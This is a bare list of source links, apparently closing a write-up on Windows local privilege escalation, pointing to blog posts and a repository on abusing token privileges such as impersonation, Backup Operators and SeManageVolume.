Sources

• https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
• https://decoder.cloud/2018/01/13/potato-and-tokens/
• https://decoder.cloud/2018/02/12/the-power-of-backup-operatos/
• https://decoder.cloud/2019/07/04/creating-windows-access-tokens/
• https://decoder.cloud/2020/05/30/the-impersonation-game/
• https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
• https://decoder.cloud/2020/11/05/hands-off-my-service-account/
• https://decoder.cloud/2020/12/14/hands-off-my-iis-accounts/
• https://decoder.cloud/2024/05/30/abusing-the-serelabelprivilege/
• https://github.com/xct/SeManageVolumeAbuse